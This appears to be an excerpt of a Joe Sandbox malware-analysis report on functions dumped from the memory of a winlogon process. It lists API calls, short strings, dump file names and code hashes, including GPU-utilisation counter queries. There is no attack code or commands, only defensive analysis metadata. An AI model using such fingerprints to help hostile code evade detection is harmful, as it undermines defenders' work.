Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 58d8987738939347865e893f24a470ae572fca13a5e588c09a8a4faeb700f7ff
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: 49514176214F9496E764CFAAE44C36AB7A1F788F9AF148124DE4A07758DF3CC049CB00

Function 00000225DC616D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC616D68
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC616DBA
_RTC_Initialize.LIBCMT ref: 00000225DC616DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC616E0E
__scrt_release_startup_lock.LIBCMT ref: 00000225DC616E39

Strings

destructor', xrefs: 00000225DC616F69, 00000225DC616FE2, 00000225DC61701C
restrict(, xrefs: 00000225DC616E17
ned, xrefs: 00000225DC616E1E

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 9a5e6bad34697a349fda0213b2663d6fdd038587db02b0e830b2026ac901264e
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 1181266D616F71AAFF60DBED984D35962D0EBA5787F04C025AB0943796EF38C846CB00

Function 00000225DC67D258 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D267
FlsGetValue.KERNEL32(?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D27C
FlsSetValue.KERNEL32(?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D29D
FlsSetValue.KERNEL32(?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D2CA
FlsSetValue.KERNEL32(?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D2DB
FlsSetValue.KERNEL32(?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D2EC
SetLastError.KERNEL32(?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D33D
FlsSetValue.KERNEL32(?,?,00000001,00000225DC67F0FC,?,?,?,?,00000225DC67C3CF,?,?,?,?,?,00000225DC677EE0), ref: 00000225DC67D35C

Part of subcall function 00000225DC67DAFC: HeapAlloc.KERNEL32(?,?,00000000,00000225DC67D432,?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67DB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D384

Part of subcall function 00000225DC67DB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC67643A), ref: 00000225DC67DB8A
Part of subcall function 00000225DC67DB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC67643A), ref: 00000225DC67DB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC680E9B,?,?,?,00000225DC68088C,?,?,?,00000225DC67CC7F), ref: 00000225DC67D3A6

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 9a6a97e40900111dbf4723c648f89434ea414971c8025d7e99afb3788b85548f
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: 83419F2C309E64B2FE58A7FD595D76D22425F857F2F24CF24AA360AED6DE38C446C201

Function 00000225DC64D258 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D267
FlsGetValue.KERNEL32(?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D27C
FlsSetValue.KERNEL32(?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D29D
FlsSetValue.KERNEL32(?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D2CA
FlsSetValue.KERNEL32(?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D2DB
FlsSetValue.KERNEL32(?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D2EC
SetLastError.KERNEL32(?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D33D
FlsSetValue.KERNEL32(?,?,00000001,00000225DC64F0FC,?,?,?,?,00000225DC64C3CF,?,?,?,?,?,00000225DC647EE0), ref: 00000225DC64D35C

Part of subcall function 00000225DC64DAFC: HeapAlloc.KERNEL32(?,?,00000000,00000225DC64D432,?,?,?,00000225DC64DAE5,?,?,?,?,00000225DC64DBA8), ref: 00000225DC64DB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D384

Part of subcall function 00000225DC64DB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC64643A), ref: 00000225DC64DB8A
Part of subcall function 00000225DC64DB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC64643A), ref: 00000225DC64DB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650E9B,?,?,?,00000225DC65088C,?,?,?,00000225DC64CC7F), ref: 00000225DC64D3A6

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 2b824970acb9dcbc4bff42bd92427c46f6650ee6e29246732c69fdfdc3e33568
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: F641BE2CB0DE64B2FE59A3FE945D36A32425B467B2F14C7A4AA37467C6DE38C481C201

Function 00000225DC672FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC673001
GetProcessHeap.KERNEL32 ref: 00000225DC673016
HeapAlloc.KERNEL32 ref: 00000225DC673024
PdhGetCounterInfoW.PDH ref: 00000225DC67303A
StrCmpW.SHLWAPI ref: 00000225DC67304F

Part of subcall function 00000225DC673554: StrCmpNW.SHLWAPI ref: 00000225DC673576
Part of subcall function 00000225DC673554: StrStrW.SHLWAPI ref: 00000225DC673594
Part of subcall function 00000225DC673554: StrToIntW.SHLWAPI ref: 00000225DC6735BB

GetProcessHeap.KERNEL32 ref: 00000225DC67308C
HeapFree.KERNEL32 ref: 00000225DC67309A

Strings

\GPU Engine(*)\Running Time, xrefs: 00000225DC673048

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: 586c3592aade3638f7f9e5f03ce644c723cfb96d9d5ac5cf597b2c80badf19fa
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: F4319526600F60E7F710CFAAA80C759A3A0FB88F96F5485359F4947AA5DF38C455C740

Function 00000225DC642FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC643001
GetProcessHeap.KERNEL32 ref: 00000225DC643016
HeapAlloc.KERNEL32 ref: 00000225DC643024
PdhGetCounterInfoW.PDH ref: 00000225DC64303A
StrCmpW.SHLWAPI ref: 00000225DC64304F

Part of subcall function 00000225DC643554: StrCmpNW.SHLWAPI ref: 00000225DC643576
Part of subcall function 00000225DC643554: StrStrW.SHLWAPI ref: 00000225DC643594
Part of subcall function 00000225DC643554: StrToIntW.SHLWAPI ref: 00000225DC6435BB

GetProcessHeap.KERNEL32 ref: 00000225DC64308C
HeapFree.KERNEL32 ref: 00000225DC64309A

Strings

\GPU Engine(*)\Running Time, xrefs: 00000225DC643048

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: c52f9be0bf70ea3b7a5bf3996fbcc68945e9821ba3be50fd257b62d70a75478f
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: FC31C526618E64A6F760DFEAA80C359B3A0F798F97F5482259E4943B64DF38C055C740

Function 00000225DC6730BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC67311A
GetProcessHeap.KERNEL32 ref: 00000225DC67312B
HeapAlloc.KERNEL32 ref: 00000225DC673139
PdhGetCounterInfoW.PDH ref: 00000225DC67314F
StrCmpW.SHLWAPI ref: 00000225DC673164

Part of subcall function 00000225DC673554: StrCmpNW.SHLWAPI ref: 00000225DC673576
Part of subcall function 00000225DC673554: StrStrW.SHLWAPI ref: 00000225DC673594
Part of subcall function 00000225DC673554: StrToIntW.SHLWAPI ref: 00000225DC6735BB

GetProcessHeap.KERNEL32 ref: 00000225DC673191
HeapFree.KERNEL32 ref: 00000225DC67319F

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000225DC67315D

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: d0907001e34247cac9d8e3e066ca62c72457a451ffc66ac22ab6a61c28d5a96a
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: A431DD79610F61AAF750CFAAA84C759B3A0FB84F82F5485349F8A47BA5DF38C445C300

Function 00000225DC6430BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC64311A
GetProcessHeap.KERNEL32 ref: 00000225DC64312B
HeapAlloc.KERNEL32 ref: 00000225DC643139
PdhGetCounterInfoW.PDH ref: 00000225DC64314F
StrCmpW.SHLWAPI ref: 00000225DC643164

Part of subcall function 00000225DC643554: StrCmpNW.SHLWAPI ref: 00000225DC643576
Part of subcall function 00000225DC643554: StrStrW.SHLWAPI ref: 00000225DC643594
Part of subcall function 00000225DC643554: StrToIntW.SHLWAPI ref: 00000225DC6435BB

GetProcessHeap.KERNEL32 ref: 00000225DC643191
HeapFree.KERNEL32 ref: 00000225DC64319F

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000225DC64315D

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: 454cdb5cc7f902d6dfd55ac9d910808eab48d9914d8cbcf09632d57ceb8e022e
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: 91318B69628F65E6F750DFAAA84CB69B3A0FB84F86F1481359E8A43724DF38D445C700

Function 00000225DC67A974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC67A9D1

Part of subcall function 00000225DC67B844: __GetUnwindTryBlock.LIBCMT ref: 00000225DC67B887
Part of subcall function 00000225DC67B844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC67B8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC67AAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC67ACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC67AE0A

Strings

csm, xrefs: 00000225DC67A9EB
csm, xrefs: 00000225DC67AA52
csm, xrefs: 00000225DC67AACC

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: 0cdbf3a16c64a1338def181915019ab7a22a83db87a69e377a0e486a60e7a651
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: FDE1B23A600F50AAEB20DFA9D54839D37E4F745B8AF209916EE8957FDACB34C581C700

Function 00000225DC619D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC619DD1

Part of subcall function 00000225DC61AC44: __GetUnwindTryBlock.LIBCMT ref: 00000225DC61AC87
Part of subcall function 00000225DC61AC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC61ACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC619EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC61A0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC61A20A

Strings

csm, xrefs: 00000225DC619DEB
csm, xrefs: 00000225DC619E52
csm, xrefs: 00000225DC619ECC

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: 91cf044dcba0e316c6a94bb843b20a49ec537f1a727c8145e8dbf45d5273eacd
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: C7E1D53A605F509AEF20DFA9D48939D77A0F745B9BF208115EF8957B9ACB34C581C700

Function 00000225DC64A974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC64A9D1

Part of subcall function 00000225DC64B844: __GetUnwindTryBlock.LIBCMT ref: 00000225DC64B887
Part of subcall function 00000225DC64B844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC64B8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC64AAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC64ACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC64AE0A

Strings

csm, xrefs: 00000225DC64AA52
csm, xrefs: 00000225DC64A9EB
csm, xrefs: 00000225DC64AACC

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: f382be736c8d4d53ce86f08bc3e444f2ccae0d56357efb965fd686541566202e
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: A1E1B37A60CF50AAFB60DFADD44839D37A4F745B8AF208155EE8A57B9ACB34C581C700

Function 00000225DC67F7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000225DC67F940
GetProcAddress.KERNEL32 ref: 00000225DC67F94C

Strings

ext-ms-, xrefs: 00000225DC67F89D
api-ms-, xrefs: 00000225DC67F88A

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: c897da882854f9e3d26ad73f1ae6e241e834036224319f424e95c785e8117246
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: AD41E729311E20B1FB16CBAEA90CB5523A1FB49BE1F54CA25AD0D8BBC4EF38C445D341

Function 00000225DC64F7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000225DC64F940
GetProcAddress.KERNEL32 ref: 00000225DC64F94C

Strings

api-ms-, xrefs: 00000225DC64F88A
ext-ms-, xrefs: 00000225DC64F89D

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: 2d334986c2a34472e8b33a964f8069c2c6fc284977a90c17ab4222e0943c1c6f
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: FE41D32931DE20B5FB16CBEEA80875533A1FB45BA2F198129AD0F8B784EF38C445D301

Function 00000225DC67104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6710B1
RegEnumValueW.ADVAPI32 ref: 00000225DC671117
GetProcessHeap.KERNEL32 ref: 00000225DC67115A
HeapAlloc.KERNEL32 ref: 00000225DC671168
GetProcessHeap.KERNEL32 ref: 00000225DC671185
HeapFree.KERNEL32 ref: 00000225DC671193

Strings

d, xrefs: 00000225DC6710D6

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: 44decc96365dca59f4748440e41b87c1bea2e1dda2114f176bb14cf4e124cbfa
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: AC416F77214F90D6E760CFA5E45839AB7A1F388B99F448129DB890BB98DF38C549CB00

Function 00000225DC64104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6410B1
RegEnumValueW.ADVAPI32 ref: 00000225DC641117
GetProcessHeap.KERNEL32 ref: 00000225DC64115A
HeapAlloc.KERNEL32 ref: 00000225DC641168
GetProcessHeap.KERNEL32 ref: 00000225DC641185
HeapFree.KERNEL32 ref: 00000225DC641193

Strings

